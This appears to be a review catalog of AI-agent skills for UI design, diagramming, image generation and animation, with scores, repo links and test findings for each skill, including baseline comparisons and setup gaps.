- **Web Motion** [pass, 9.2/10] — Records your page with Playwright and fixes animation timing frame-by-frame Repo: https://github.com/Schmandarine/web-motion-skill. Card: https://skillproof.dev/skills/web-motion. What we found: Ran the full loop for real: its Playwright script recorded a deliberately broken GSAP scroll page, and frame extraction proved the hero title was never fully visible in a single frame of a 9.7-second scroll — a fact code reading alone could only hedge about. After applying the skill's incoming/dwell/outgoing structure with matched power2.inOut eases, a second recording confirmed the title now holds fully readable for 30-plus consecutive frames, and the missing card stagger was equally visible on camera. One snag: the contact-sheet script requires an ffmpeg built with the drawtext filter, which this machine's build lacked; direct frame reading worked fine without it.
- **CI Mockup Figure** [pass, 9.2/10] — Space-efficient system/method figures for papers, proposals, and README heroes Repo: https://github.com/yzhao062/anywhere-agents. Card: https://skillproof.dev/skills/ci-mockup-figure. What we found: Ran the skill's exact headless-Chrome capture command verbatim and it produced crisp 2x retina PNGs. Following the pre-flight rules turned a portrait stack of gradient 'Step 1/2/3' cards into a landscape strip carrying four keystone metrics, panel descriptions, and labeled handoff arrows in the same footprint — measurably denser and column-ready.
- **Draw.io Diagrams** [pass, 8.8/10] — Generates precise .drawio XML diagrams and exports PNG/SVG/PDF via the draw.io desktop CLI. Repo: https://github.com/Agents365-ai/drawio-skill. Card: https://skillproof.dev/skills/drawio-skill. What we found: Upstream moved 1.28.1 to 1.34.0 since our test: nine new scripts (tube maps, HTML runbooks, bulk relabel, PR-diff CI bot, image-to-drawio, exec-summary compression), four new diagram-type presets (SysML, BPMN, network, swimlane), and libavoid edge-routing docs -- all additive, the core XML workflow we passed is untouched. I executed three of the new generators live from a fresh bare-HOME install: tubemap.py, runbook.py, and relabel.py each produced valid, lint-clean output on first documented use (my own guessed tubemap schema failed; the schema in references/tubemap.md worked, proving the reference is load-bearing). Re-ran the A/B: the no-skill baseline again wrote self-closing edge cells without the mxGeometry child -- the exact silent invisible-edge bug the authoring reference bans -- while the skill arm produced correct edge geometry, distributed entry/exit points, and the documented palette. Scanned all nine new scripts for Stage 0: only local subprocess calls (git, drawio, dot), no network or telemetry. One docs contradiction found: xml-authoring.md still claims libavoid is not a headless CLI flag while the updated SKILL.md and autolayout.md now document 'drawio --layout libavoid'.
- **Guizang Social Card Skill** [pass, 8.8/10] — Generates Xiaohongshu/WeChat social card sets and Live Photo cards from a token-based design system. Repo: https://github.com/op7418/guizang-social-card-skill. Card: https://skillproof.dev/skills/guizang-social-card-skill. What we found: A freeform card broke Swiss rules like rounded corners and gradients; the skill version used the real template at exact export dimensions - but its README repeatedly names a render command that doesn't exist in the repo.
- **Generate 2D Sprite** [setup, 8.8/10] — Rule-driven 2D game sprite sheets, props, and FX with strict grid/QC discipline. Repo: https://github.com/0x0funky/agent-sprite-forge. Card: https://skillproof.dev/skills/generate2dsprite. What we found: Hard-depends on built-in image-generation tools that ship with Codex and Grok but not Claude Code, so it can plan a sprite sheet layout but can't actually generate the art in this harness.
- **Aesthetic** [pass, 8.8/10] — Structured BEAUTIFUL/RIGHT/SATISFYING/PEAK framework for UI design with concrete timing and contrast rules Repo: https://github.com/mrgoonie/claudekit-skills. Card: https://skillproof.dev/skills/aesthetic. What we found: Asked for pricing-card hierarchy + hover-state advice twice: baseline gave generic bullets ('add whitespace', 'good contrast'), the skill run cited exact numbers — 200ms ease-out lift, 4.5:1 WCAG text contrast, 2-3 typeface cap — pulled straight from its bundled reference files.
- **Tldraw Diagrams** [pass, 8.8/10] — Generates hand-drawn-style architecture/flowchart/ERD diagrams as .tldr files, exported via tldraw-cli. Repo: https://github.com/Agents365-ai/tldraw-skill. Card: https://skillproof.dev/skills/tldraw-skill. What we found: Built a 2-node .tldr file exactly to the documented schema and confirmed the required document/page records plus unique single-character fractional indices — a naive freeform JSON guess (no records array, no schema block) wouldn't even open in tldraw or export. The README's headline claim 'Zero browser automation... no Chromium, no Playwright' directly contradicts the skill body's own puppeteer/pinned-Chrome export troubleshooting section.
- **OMA Image** [setup, 8.8/10] — Auth-aware router that picks a free/authenticated AI image vendor and never fakes a result Repo: https://github.com/first-fluke/oh-my-agent. Card: https://skillproof.dev/skills/oma-image. What we found: ⚠ Security: the canonical command runs a sub-agent CLI with --dangerously-skip-permissions by default; run it sandboxed and review before use. Actually ran `oma image generate` with zero vendors authenticated: it correctly bailed with exit code 5 and vendor-specific fix-it instructions instead of hallucinating an image — but the skill folder alone is inert until you also grab the sibling `_shared/` directory and install the `oh-my-agent` CLI globally.
- **Distill** [pass, 8.8/10] — Ruthless UI reduction pass -- cuts content, CTAs, and decoration that don't drive action. Repo: https://github.com/educlopez/ui-craft. Card: https://skillproof.dev/skills/distill. What we found: Given a cluttered pricing section (3 competing CTAs, a 12-item feature list, gradient blobs, walls of text), it produced a structured cut/why table plus an explicit rule to never cut accessibility affordances -- a concrete guardrail a generic 'just simplify it' baseline answer skipped entirely.
- **PlantUML Diagram Generation** [setup, 8.8/10] — Generates PlantUML source for all 19 diagram types and converts it to PNG/SVG, with 200+ error fixes. Repo: https://github.com/SpillwaveSolutions/plantuml. Card: https://skillproof.dev/skills/plantuml. What we found: The .puml source it writes is genuinely better than a freehand attempt — it types participants semantically (actor/boundary/control/database) and uses the skill's structured file-naming convention — but the headline feature (actual PNG/SVG conversion) needs a manually-downloaded plantuml.jar plus Java; neither is bundled or auto-installed, so first real use hits a manual setup step exactly as check_setup.py warns.
- **Accessibility & UX** [pass, 8.8/10] — WCAG 2.2 AA patterns and UX states (loading/empty/error) for Power Platform components. Repo: https://github.com/korchard333/claude-power-platform-community. Card: https://skillproof.dev/skills/accessibility-ux. What we found: Built an accessible login form from its react-patterns.md and ux-patterns.md: got aria-describedby+role=alert wiring and the inline-vs-full-page spinner rule a baseline attempt skipped — though the skill's own cross-link to ../code-apps/fluent-ui.md breaks if you copy just this one skill folder.
- **UnoCSS** [pass, 8.8/10] — UnoCSS 66.x reference: config, rules, shortcuts, presets (Wind3/4, Icons, Attributify) and transformers. Repo: https://github.com/antfu/skills. Card: https://skillproof.dev/skills/unocss. What we found: Config-and-preset reference for UnoCSS 66.x: asked for a uno.config.ts mixing presetWind3, presetIcons, and a regex-based dynamic shortcut, and the skill's documented array-form shortcut syntax is exactly right where a memory-only answer defaulted to an object literal that can't hold a regex matcher, and to the legacy presetUno name instead of the current presetWind3.
- **AI Image** [pass, 8.8/10] — Generates gpt-image-1 artwork in 5 signed themes (Ghibli, Pixar, futuristic, oil/Chinese paint) via a bundled CLI. Repo: https://github.com/tyrchen/claude-skills. Card: https://skillproof.dev/skills/ai-image. What we found: Nails the exact CLI a generic assistant would only guess at — correct model name, the precise OPENAI_API_KEY check, and a per-image cost estimate ($0.02-$0.19) — but the machine we tested on had neither `uv` nor the key installed, and the SKILL.md never flags `uv` as a prerequisite.
- **Design Elevation** [pass, 8.8/10] — Tailwind-token design discipline for any visual output — dashboards, PPTX, HTML, reports. Repo: https://github.com/cuellarfr/design-skills. Card: https://skillproof.dev/skills/design-elevation. What we found: Built the same 3-card KPI dashboard twice — once from scratch, once strictly following the skill's Tailwind-token rules — and the difference is concrete: gray-900/500/400 text hierarchy instead of pure black, shadow-sm instead of a harsh drop shadow, semantic emerald/rose accents instead of literal red/green, tabular-nums on every metric, and a text-xs source line the baseline never thought to add.
- **Appshot Images** [setup, 8.8/10] — Phased App Store/Play Store screenshot generator with real ASO-keyword copy and exact store dimensions. Repo: https://github.com/trunghaiy/appshot. Card: https://skillproof.dev/skills/appshot-images. What we found: Extraction logic worked exactly as documented against a synthetic Expo project (pulled name/description/brand-colors/ASO-keywords from app.json, src/theme.ts, and fastlane/keywords.txt precisely per its own extraction tables), and its output caught a real, concrete error a plain baseline response made: shipping the optional legacy 1242x2688 screenshot size instead of Apple's mandatory 1320x2868 primary size — but the SKILL.md leans on two sibling files (../appshot-core/SKILL.md, ../shared/copy-principles.md) a single-skill copy won't include.
- **Divi 5 Builder** [setup, 8.8/10] — Encodes Divi 5's silent-failure attribute paths so AI-generated WordPress pages actually render and stay VB-editable. Repo: https://github.com/oaris-dev/diviops. Card: https://skillproof.dev/skills/divi-5-builder. What we found: Extremely well-documented silent-failure knowledge (e.g. button content must be an object at button.innerContent, not a string at content.innerContent, or Divi renders a default 'Click Me' with empty href) but two in-body cross-references (diviops-scf/SKILL.md, docs/theme-builder-critical-css-scope.md) 404 on GitHub, and real use requires a live WordPress+Divi5(paid theme)+diviops-agent plugin+npm MCP server, so it's not a standalone drop-in.
- **Civitai Gen** [pass, 8.8/10] — Zero-dependency CLI for Civitai's image/video/TTS/music/transcription orchestration API, with a free cost dry-run before spend. Repo: https://github.com/civitai/civitai-gen-skill. Card: https://skillproof.dev/skills/civitai-gen. What we found: Ran the real CLI locally (no API key available, so no live generation): `node generate.mjs --help` prints a full, accurate flag reference, and every command correctly refuses with 'CIVITAI_API_KEY not set' rather than silently failing; code only talks to civitai.com/orchestration-new.civitai.com endpoints, zero npm dependencies as claimed, and a free `cost --whatif` command exists specifically so users don't get surprise buzz spend.
- **Animation Quality Gate** [pass, 8.8/10] — Rejects Blender animation renders that only look done, using a real contact-sheet + frame-diff script plus a 7-point review checklist. Repo: https://github.com/RobLe3/cc-blender-skill. Card: https://skillproof.dev/skills/animation-quality-gate. What we found: Ran the bundled contact-sheet script for real on 8 synthetic frames with one injected color/position glitch: the baseline eyeballed the filenames and approved the animation outright, while following the skill caught the glitch by actually inspecting the sheet - though the script's own auto-warning (threshold mean_rgb_diff>45) stayed silent on a real 5x diff spike (13.7 vs 2.76 baseline), so the catch came from the review checklist, not the automation.
- **Video To Claude** [setup, 8.8/10] — Sends a video/GIF to Gemini's video model, gets back a frame-accurate JSON build spec. Repo: https://github.com/rohunvora/video-to-claude. Card: https://skillproof.dev/skills/video-to-claude. What we found: Couldn't run it live (no GEMINI_API_KEY, google-genai not installed) but the repo ships real prior outputs (gallery-specs/*.json) from its own --micro pipeline — e.g. a credit-card reveal button spec with exact hex colors, a 600ms cubic-bezier(0.34,1.56,0.64,1) flip animation, and the non-obvious 'swap text at the 90-degree mark so the user never sees it change' detail — the kind of frame-level accuracy a baseline text-only pass simply cannot invent.
- **FigJam Builder** [setup, 8.8/10] — A visual-design rulebook (type scale, color tiers, spacing grid) for building or editing FigJam boards via the Figma Plugin API. Repo: https://github.com/prasantloki/figjam-builder. Card: https://skillproof.dev/skills/figjam-builder. What we found: Genuinely sharp design-system prompt (exact type scale ranges, a disciplined 3-tier color-by-hue palette, and it calls out the single most common Plugin-API bug - adding section.x to a child's already-section-relative offset - by name), but it is unusable out of the GitHub clone alone: SKILL.md itself says to load `figma-plugin:figma-use` and `figma-plugin:figma-use-figjam` first, and neither companion skill nor any Figma MCP tool ships in this repo or was available to test with.
- **GPT Image 2 Skill** [pass, 8.8/10] — 162-prompt gallery plus a real CLI for GPT Image 2 generation and editing Repo: https://github.com/wuyoscar/GPT-Image2-Skill. Card: https://skillproof.dev/skills/gpt-image. What we found: Task: create a prompt for a vertical poster for an autumn milk tea launch with an exact Chinese copyright string, prices, and promotion dates, and run it through the standard CLI. Baseline prompt without skill — 45 words and 0 quoted strings, meaning for a poster whose entire purpose is precise Chinese text, not a single displayed word was fixed. Skill prompt (gallery-typography-and-posters.md No. 33 + craft.md) — 198 words, 19 exact quoted strings, 3:4 canvas declared first, clear hierarchy, small font module, 'Simplified Chinese' and an avoid-string against garbled characters. Plumbing checked live: uv run scripts/generate.py from the installed folder pulled the CLI via uvx and exited with code 2 and precisely the OPENAI_API_KEY message described in SKILL.md; '-m without -i' gave '--mask requires --image', a non-existent -i gave '--image not found', and with a dummy key, it reached a real 401 from OpenAI — meaning the SDK path and endpoint routing are working. Claim for 162 prompts verified by count: exactly 162 numbered entries, all 31 category files in place. HONEST LIMITATION: no actual image was generated — no valid OPENAI_API_KEY, so the final pixel result was not verified, hence 8/10, not higher.
- **Smart Illustrator** [pass, 8.8/10] — Turns articles into illustrated posts: Mermaid, Excalidraw and Gemini covers Repo: https://github.com/axtonliu/smart-illustrator. Card: https://skillproof.dev/skills/smart-illustrator. What we found: Ran a real task: a 76-word article on a CI pipeline, diagram without skill and according to skill rules, both rendered to PNG by bundled script mermaid-export.ts. Baseline version — 12 identical gray blocks and uniform arrows; skill version applied a semantic palette from SKILL.md (6 classDef: green input, red forks, purple process, orange action, blue output) and three levels of arrows, so the happy path is readable at a glance. The script worked honestly: without global @mermaid-js/mermaid-cli, it crashes with clear instructions (dependency is in README, but not in SKILL.md). All 8 files referenced by SKILL.md (4 style files, excalidraw-guide, 3 scripts) actually exist. Two minuses: the `-w 2400` flag from SKILL.md does not provide the promised '高分辨率' (high resolution) — the actual PNG came out 419x1167, and the Gemini branch could not be checked, no GEMINI_API_KEY (Mermaid/Excalidraw work without a key). Documentation is only in Chinese, typographic rules (≤8 characters per node) are calibrated for CJK.
- **Design Auditor** [pass, 8.8/10] — Scored UI/UX audit against 19 rules with real WCAG contrast math and code diffs Repo: https://github.com/Ashutos1997/claude-design-auditor-skill. Card: https://skillproof.dev/skills/design-auditor. What we found: Fed it a signup card with three failing color pairs and it computed the exact WCAG ratios (#999/#fff = 2.85, #aaa/#fff = 2.32, white/#7c9fe0 = 2.66), all of which matched an independent Python luminance check to two decimals. Where a plain no-skill review just said the text 'looks light,' the skill returned a scored 0-100 report that also caught the 13px off-grid padding, sub-12px body text, missing image alt, unlabeled inputs, and outline:none focus removal, each with a copy-paste fix diff.
- **Frontend Design System** [pass, 8.8/10] — Steers frontend UI away from generic AI-slop defaults toward distinctive design Repo: https://github.com/oikon48/cc-frontend-skills. Card: https://skillproof.dev/skills/frontend-design-system. What we found: Built the same hero section twice: my no-skill default landed on Inter, a purple-to-pink gradient and a centered symmetric layout, hitting four of the anti-patterns the skill explicitly names. The skill-guided version used a DM Serif Display / DM Sans pairing, a warm-white plus terracotta palette lifted from its themes.md, a 5:7 asymmetric grid and an offset-shadow button, clearing all four. A guidance-only skill with a genuinely visible delta; the 189-line themes.md and 351-line components.md are real, concrete references, not filler.
- **Social Cards Engine** [pass, 8.8/10] — Brand-agnostic engine: any topic into IG/Threads/X/FB carousel PNGs + captions Repo: https://github.com/DennisWei9898/social-cards-engine.git. Card: https://skillproof.dev/skills/social-cards. What we found: Rendered six real 1080x1080 IG cards through the Chrome-headless pipeline: proper visual hierarchy, navy brand palette, a big price stat, decorative dot grids and a handle/tagline footer, all 120-170KB PNGs. The keyless image fetcher pulled CC-licensed photos live from Openverse with full attribution and provenance written to a manifest, exactly as claimed. A no-skill baseline would emit plain text captions or crude HTML rather than polished, on-brand card images. One ding: the bundled render_cards_example.py points at a template_square.html that isn't in the repo, so that example won't run verbatim.
- **Video Storyboard Generator** [pass, 8.8/10] — Turns a video idea into a shot-by-shot storyboard with camera moves and timing Repo: https://github.com/OYYH-Apple/video-storyboard-generator. Card: https://skillproof.dev/skills/video-storyboard-generator. What we found: Ran the same brief, a 45-second smart-bottle intro video, with and without the skill. The bare run produced a five-row scene table; the skill run gave every shot a camera move with speed and easing, a composition rule, shot size, transition, SFX/BGM and narration, kept all shots under the 12-second short-video cap the baseline broke, and passed its own continuity check. The result is directly usable as per-shot prompts for AI video tools like Seedance 2.0. Be aware the skill and its output are in Chinese, and it asks several brainstorm questions before generating.
- **Gridgeist** [pass, 8.8/10] — Design product-native web UIs that escape generic AI SaaS aesthetics Repo: https://github.com/ohmiler/gridgeist. Card: https://skillproof.dev/skills/gridgeist. What we found: Reviewed a deliberately generic hero (centered copy, gradient blur blob, three identical shadowed cards): its review-checklist surfaced located, prioritized findings a baseline pass missed - interchangeable SaaS copy, no dominant element among three equal cards, missing focus/contrast/alt and no empty/error states - plus a replacement thesis. The design-language reference forces a structural+expressive+motif thesis rather than importing a house aesthetic. No scripts, just markdown and assets, so it installs into a bare HOME cleanly; design 'prettiness' isn't pixel-measured, but the review rigor and state/accessibility coverage are a concrete delta over an unstructured critique.
- **Artifacts Builder** [pass, 8.4/10] — Build complex interactive artifacts that respect platform limits. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/artifacts-builder. What we found: Built an interactive pricing calculator and a data explorer as single-file artifacts; both worked first try within artifact constraints (no external CDNs).
- **Critique** [setup, 8.4/10] — Screenshots your UI at 3 viewports and scores it against a named anti-slop checklist. Repo: https://github.com/educlopez/ui-craft. Card: https://skillproof.dev/skills/critique. What we found: Fed it a deliberately slop-y test page (purple-gradient hero, ALL CAPS heading, 3 identical emoji cards, colored trend pill) — it named all 4 critical anti-slop violations by the skill's own vocabulary and, because it forces real screenshots at 3 viewports, caught a genuine mobile overflow bug (the heading text spilling outside the hero background at 375px) that a code-only pass would have missed entirely.
- **Baoyu Cover Image** [setup, 8.4/10] — Turns article content into a fully specified, reproducible cover-image prompt across 6 confirmed dimensions. Repo: https://github.com/JimLiu/baoyu-skills. Card: https://skillproof.dev/skills/baoyu-cover-image. What we found: Asked it to concept a cover for a remote-work article: its auto-selection tables turned raw content signals into a fully resolved, reproducible prompt spec (type=conceptual, palette=elegant, rendering=digital, mood=subtle, all keyword-justified) versus a single ad-hoc paragraph from scratch — genuinely more systematic. But Step 4 dead-ends in a stock Claude Code setup: it requires Codex's imagegen, Cursor's GenerateImage, or a separate baoyu-image-gen skill to actually render a bitmap, and none of those exist here, so the deliverable stops at a prompt file, not an image.
- **Resonance Design Designer** [setup, 8.4/10] — First-principles UI design director: OKLCH color, optical craft, motion physics, full state coverage. Repo: https://github.com/manusco/resonance. Card: https://skillproof.dev/skills/resonance-design-designer. What we found: The self-contained reference library (21 files, all present and genuinely detailed: real OKLCH values, APCA over WCAG2, concentric radii, tabular numerals, an explicit slop catalog) survives a verbatim copy and is materially better than generic design guidance — but the skill's own 'Operating Standard' step reads AGENTS.md and its memory step reads/writes .resonance/02_memory.md, both of which live outside the skill folder and are absent after a plain `cp`; the repo's own README says plainly 'without the bridge the operating standard and memory never reach the model,' and the actual Claude-Code-native entry point (.claude/skills/design/SKILL.md) is a 4-line stub that just says 'go read .agents/skills/design/designer/SKILL.md' — broken the moment it's copied alone.
- **ML Content (3Blue1Brown-style)** [setup, 8.4/10] — Generates real manimGL (not Manim CE) explainer-video code with 3b1b's actual layout/motion rules — but its own README tells you to pip install the wrong engine. Repo: https://github.com/thtskaran/claude-skills. Card: https://skillproof.dev/skills/ml-content. What we found: Wrote the same small dot-product scene twice — once from ungrounded default Manim knowledge, once strictly per the skill — then ran the skill's own crash-check grep on both: the unguided version hit 3 of its banned Manim-CE symbols (would crash outright on manimGL) while the skill-guided version passed clean; but the repo's own README setup snippet says `pip install manim`, which installs the exact banned CE package, not manimGL.
- **Fluxwing Component Creator** [setup, 8.4/10] — Turns 'create a button' into a schema-valid .uxm + ASCII-preview .md pair, but the folder alone isn't the whole kit. Repo: https://github.com/trabian/fluxwing-skills. Card: https://skillproof.dev/skills/fluxwing-component-creator. What we found: Followed the skill body for real and ran its own bundled scripts/quick_validate.py against the output: produced a schema-valid submit-button.uxm (4 states, full a11y block) plus an ASCII-preview .md — genuinely richer than a plain-English baseline. But the SKILL.md points at {SKILL_ROOT}/../shared/docs/copy-versioning.md and {SKILL_ROOT}/../fluxwing-validator/validate-component.js, both outside this skill's own folder, so a single-skill `cp -r` install (as the catalog instructs) silently breaks the version-bump flow and the recommended Node validator — you need to grab the sibling `shared/` and `fluxwing-validator/` folders too.
- **Replica** [pass, 8.4/10] — Turns a landing-page screenshot into an exact-hex, exact-Tailwind, copy-paste developer prompt for Bolt/Lovable/Cursor. Repo: https://github.com/Surya17155/Replica. Card: https://skillproof.dev/skills/replica. What we found: The actual prompt-generation template is rigorous and delivers exactly what it claims (hex codes, full box-shadows, animation tuples), but the bundled 'SCRIPTS FOLDER' it describes with specific capability claims (sync engine, RAG matcher, compression algorithm) is five ~18-line stub files whose methods are literally just `pass` — and one has a garbled non-ASCII syntax error (import path = pathlib mashed together with an invalid character) that would crash if anyone tried to run it.
- **Design System Francais (DSFR)** [setup, 8.4/10] — Official French government design-system docs: 23 components with exact fr- class names, RGAA 4.1 a11y rules and copy-paste HTML. Repo: https://github.com/numerique-gouv/dsfr-skill. Card: https://skillproof.dev/skills/design-system-francais-dsfr. What we found: Asked for accessible DSFR accordion markup: the skill pulled the exact official structure (section.fr-accordion > h3.fr-accordion__title > button.fr-accordion__btn[aria-expanded][aria-controls] + div.fr-collapse) straight from its bundled code.md and accessibilite.md, which a from-memory answer has no way to reproduce correctly; the catch is the README's own manual git-clone instructions are stale and would install a broken (2-levels-too-deep, undiscoverable) skill folder.
- **AI Media Generator** [pass, 8.4/10] — Platform-correct prompts for AI image, video and music, plus browser automation Repo: https://github.com/Hao0321/ai-media-generator. Card: https://skillproof.dev/skills/ai-media-generator. What we found: Task: write a prompt for a 10-second pour-over coffee commercial. Baseline (from memory, without skill) produced a typical 'cinematic 10-second commercial... beautiful, slow-motion, dynamic camera movement, 4K, ultra detailed, masterpiece' — measured by grep: 4 junk words from the rubric's stop-list, 0 named camera movements, 0 optics, 0 negative prompts; on the skill's own 10-point scale, this was 3 raw points minus 4 penalties = 0/10, i.e., below its own submission threshold of '≥8'. With the skill, it was 10/10: 0 junk words, specific subject (matte terracotta funnel, 60° conical ribs), 4 scene elements, 100mm f/4 + dolly-in + rack focus, negatives from negative-bank.md addressing real artifacts (deformed product, morphing shape, inconsistent label). The main gain was structural: selector.md shifted from single-stage t2v to two-stage i2v (first hero shot in Flux, then animation in Kling) — precisely the technique the repo calls the root cure for product deformation, while baseline went straight into this pitfall. Installation from a bare HOME works (SKILL.md is in the repo root, clone directly into ~/.claude/skills), all relative links in SKILL.md resolve — 0 broken ones out of those checked. Caveat: did not generate the media itself (paid accounts needed), so evaluated the prompt artifact, not the final video, and the rubric is the skill's own rubric.
- **Video Wrapper** [pass, 8.4/10] — Add variety-show motion-graphics overlays to interview videos from a subtitle file Repo: https://github.com/op7418/Video-Wrapper-Skills. Card: https://skillproof.dev/skills/video-wrapper. What we found: Drove the Playwright render engine live at 1920x1080: it produced 40-frame transparent lower-third overlays and all four themes (notion, cyberpunk, apple, aurora) rendered as visibly distinct images (4/4 unique hashes, apple 13 vs aurora 44 color buckets) with working anime.js slide-in animation, far richer than the flat single-theme unanimated PIL text a no-skill baseline draws. Full compositing onto a real interview video was not run because no source video or .srt was supplied, so end-to-end video output is unmeasured. The doc's install snippet references a venv that does not ship, so a first-time user must create it before rendering works.
- **Canvas Design** [pass, 8/10] — Poster-grade visual design on an HTML canvas. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/canvas-design. What we found: Generated poster-quality visuals and social cards; composition and type handling clearly above default output.
- **Archify** [pass, 8/10] — Turns plain-English or Mermaid descriptions into themeable, self-contained architecture/workflow/sequence/lifecycle diag Repo: https://github.com/tt-a1i/archify. Card: https://skillproof.dev/skills/archify. What we found: Three example files the docs point to only exist in the repo root, not the installable skill directory - a real broken reference on install. A generated architecture JSON file did validate cleanly against the schema.
- **Antfu Design** [pass, 8/10] — Applies antfu-style UnoCSS conventions with dual light/dark semantic tokens. Repo: https://github.com/antfu/skills. Card: https://skillproof.dev/skills/antfu-design. What we found: Installed verbatim (git clone + cp, valid YAML frontmatter, all 14 reference files present) and A/B tested by building a dense Vite Cache Inspector devtools panel with and without the skill, verified in light and dark. The skill applied genuine antfu signatures the base lacked: the filename in a restrained green accent (the vite-plugin-inspect 'active module' highlight), the op50/op-fade opacity token system, off-black #111, and full-width panel fill. The base was competent and clean (even structurally richer with column headers and a footer count), so the skill's win was a modest, visible shift toward the antfu idiom rather than a dramatic polish leap.
- **Workflow Schema Tuning** [pass, 8/10] — Tunes the workflow-schema.json descriptions that bias AI workflow generation. Repo: https://github.com/breaking-brake/cc-wf-studio. Card: https://skillproof.dev/skills/workflow-schema-tuning. What we found: Tested the full loop: verbatim clone+copy install (clean, YAML frontmatter valid, all referenced schema/build files present) plus an A/B on a real node-type-bias diagnosis task (AI over-picks subAgent over prompt for trivial steps). Both arms correctly identified the asymmetric aiGenerationGuidance/examples as the bias source, but the skill arm added contrastive description rewrites (its 'align direction, don't prescribe rules' principle) and the essential TOON-regeneration/verify step the base arm omitted — base's raw-JSON patch would silently not take effect since the MCP serves TOON. Note: the install's referenced files (workflow-schema.json, .toon, ai-editing-skill-template.md, generate-toon-schema.ts) only resolve with cwd=packages/core, and the repo is pnpm-managed despite the SKILL's 'npm run generate:toon' wording.
- **PinMe** [setup, 8/10] — Uploads files to IPFS or publishes full-stack sites and services via PinMe. Repo: https://github.com/glitternetwork/pinme. Card: https://skillproof.dev/skills/pinme. What we found: Verbatim install (git clone + cp skills/pinme) works with zero surgery; SKILL.md is a self-contained single file whose documented CLI (login/upload/create/save/update-*/bind/set-appkey) matches the real bin/*.ts sources 1:1. A real deploy needs a live PinMe account/wallet (domain binding also needs wallet balance, email sending an API_KEY), so this was tested on command construction only with no real pin/deploy. The frontmatter trigger is over-broad ('any feature requiring backend database/server support') and can misfire on generic backend/DB work unrelated to PinMe/IPFS. A/B: the skill produced the correct upload flag '--domain demo-site' and the exact full URL priority (DNS > subdomain > short > preview), while the base guessed a nonexistent '--subdomain' flag and an incomplete priority rule.
- **AI Image Generation** [pass, 8/10] — Generate, edit, and upscale images across 50+ models (FLUX, Gemini, Grok, Seedream) via one CLI. Repo: https://github.com/liyupi/github-claw. Card: https://skillproof.dev/skills/ai-image-generation. What we found: Ran the documented flux-dev-lora example almost verbatim for a coffee-mug product shot; its own quick-start command 'infsh login' is never explained by the linked install doc, which only ever installs and references a binary called 'belt'.
- **Brand Asset** [setup, 8/10] — Structured logo/icon/pattern prompt specs with FAL.ai automation - but the automation script lives outside the skill folder. Repo: https://github.com/sanky369/vibe-building-skills. Card: https://skillproof.dev/skills/brand-asset. What we found: Copying just skills/creative/brand-asset (the documented install path) leaves docs/creative_cli.py and two sibling skills it calls out (creative-strategist, image-generation) behind - the automation command and cross-skill handoffs are dead on arrival standalone, even though the core prompt-spec workflow is genuinely more rigorous than a freehand logo prompt.
- **Retheme** [setup, 8/10] — Applies an approved design lane to a React+Tailwind site, tokens-first, with a build+screenshot check after every pass. Repo: https://github.com/aahil62/unslop. Card: https://skillproof.dev/skills/retheme. What we found: SKILL.md leans on ${CLAUDE_PLUGIN_ROOT}/rules/anti-slop-checklist.md, /scripts/screenshot.mjs, and /rules/client-report.md, none of which live inside skills/retheme/ - they're at the plugin root (rules/, scripts/), so a bare `cp -r skills/retheme` per this benchmark's install method ships a skill that cannot run its own mandated build+screenshot verification or checklist; the project's real, documented install path is `/plugin marketplace add aahil62/unslop` + `/plugin install unslop@unslop`, which does resolve correctly.
- **Character LoRA** [setup, 8/10] — Orchestrates the end-to-end pipeline to train a consistent-identity character LoRA on a local GPU Repo: https://github.com/KerberosClaw/kc_ai_skills. Card: https://skillproof.dev/skills/character-lora. What we found: Task: plan a character LoRA for an original anime character on Pony V6 (caption format, dim/alpha, and the top mistake to avoid). I could not run the pipeline it orchestrates: it needs a local GPU, the codex/gpt-image-gen image stack, and a kohya/ai-toolkit trainer, none available here, so the headline deliverable (a trained LoRA) is unmeasured. On the planning slice I could test, the skill's guidance is specific and correct where a from-memory baseline stays generic: trigger as a non-dictionary first token with keep_tokens=1, alpha never above dim, no quality/score tags in training captions, the LoRA locked to its base architecture, and picking the best checkpoint rather than the last. It installs cleanly and honestly marks unverified settings as 'proposed', but without the GPU pipeline this is advisory only, hence setup rather than pass.
- **UX Audit Walkthrough** [setup, 8/10] — Scores a UI flow against four minimalist principles and outputs a graded UX report Repo: https://github.com/AIPexStudio/AIPex. Card: https://skillproof.dev/skills/ux-audit-walkthrough. What we found: The scoring framework is the real value and it beats a freeform baseline: on a sample signup-modal audit it produced a base-80-minus-deductions health score with each finding tagged to a violated principle and an actual-versus-theoretical click count, where the baseline just gave loose prose. The catch is the SKILL.md mandates a PRIMARY workflow of capture_screenshot, computer, search_elements and a download_current_chat_report_zip export, which are AIPex browser-extension tools with no equivalent in a standard Claude Code install, so the advertised automated walkthrough and ZIP export don't function. Install is clean and the skill is a single self-contained SKILL.md with no bundled scripts.
- **Animation Review** [setup, 8/10] — Record a browser animation and get frame-level analysis from Gemini for timing and jank Repo: https://github.com/jaaaaaaaaaaack/custom-skills. Card: https://skillproof.dev/skills/animation-review. What we found: analyze.py compiles cleanly and correctly gates on a GEMINI_API_KEY; ffmpeg is present but google-genai and playwright are not installed, and the Gemini video analysis needs a paid key, so the actual output could not be measured against a no-skill baseline. SKILL.md is unusually honest: it frames Gemini's frame descriptions as observational evidence and its root-cause theories as unverified hypotheses, with an explicit FPS/temporal-precision table per mode. Scored setup rather than pass because the delta is unmeasured, not because anything failed.
- **Agentic Design System** [pass, 8/10] — Design-system guideline author with fixed brand tokens and a QA checklist Repo: https://github.com/bergside/awesome-design-skills. Card: https://skillproof.dev/skills/agentic. What we found: Ran it on a Button spec against a no-skill baseline: the skill's forced token table plus its 'flag aesthetics-vs-accessibility conflicts' gate surfaced that its own brand primary #FF5701 lands at only 3.17:1 on white and fails WCAG AA text contrast, a defect the plain baseline spec missed. Genuinely more structured and testable output; the weak point is the frontmatter description, which reads like a UI archetype and never says 'design system', so it risks mis-firing on agentic coding tasks.
- **Brand Guidelines** [setup, 7.6/10] — Keep every Claude output on-brand — colors, fonts, voice. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/brand-guidelines. What we found: Enforced palette, fonts and voice across generated assets once we filled in the brand config; useless until you customize it, by design.
